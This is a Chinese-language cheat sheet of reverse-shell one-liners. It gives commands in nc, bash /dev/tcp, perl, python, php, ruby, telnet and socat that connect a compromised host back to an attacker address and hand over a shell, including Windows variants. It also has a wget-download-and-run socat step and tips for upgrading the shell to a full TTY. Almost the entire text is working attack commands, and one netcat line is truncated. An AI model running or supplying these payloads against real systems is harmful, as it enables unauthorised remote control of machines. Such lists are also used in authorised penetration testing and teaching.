常见反弹shell总结
1、nc
- 发送方式一：nc -e /bin/sh 10.0.0.1 1234
- 发送方式二：nc 10.0.0.1 1234 -c /bin/bash
- 接收：nc -nlvp 1234
2、bash：
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
3、perl:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- 不依赖于/bin/sh:
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
- windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
4、python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
5、php：
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
6、ruby：
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
- 不依赖/bin/sh
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
- windows:
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
7、netcat：
nc -e /bin/sh 10.0.0.1 1234 #不同版本的nc不一定支持-e选项
- 不能使用 -e:
mknod backpipe p && nc 10.0.0.1 8080 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc 10.0.0.1 4444
rm -f /tmp/p; mknod /tmp/p p && nc 10.0.0.1 4444 0/tmp/
- 如果安装的nc的版本有问题:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
8、telnet:(非常的不常用):
mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe
（1）python 获得交互shell
python -c "import pty;pty.spawn('/bin/bash')"
（2）socat获得完整的tty
- 反弹方：socat exec:‘bash -li’,pty,stderr,setsid,sigint,sane tcp:ip:端口
- 接收方：socat file:
tty,raw,echo=0 tcp-listen:4444
注意：当反弹方没有socat时,可以直接下载：
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash - li',pty,stderr,setsid,sigint,sane tcp:ip:端口 nc
举例例如：
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash - li',pty,stderr,setsid,sigint,sane tcp:192.168.157.124:8888
（3）使用stty选项：
# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# In Kali
$ stty raw -echo
$ fg
# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>
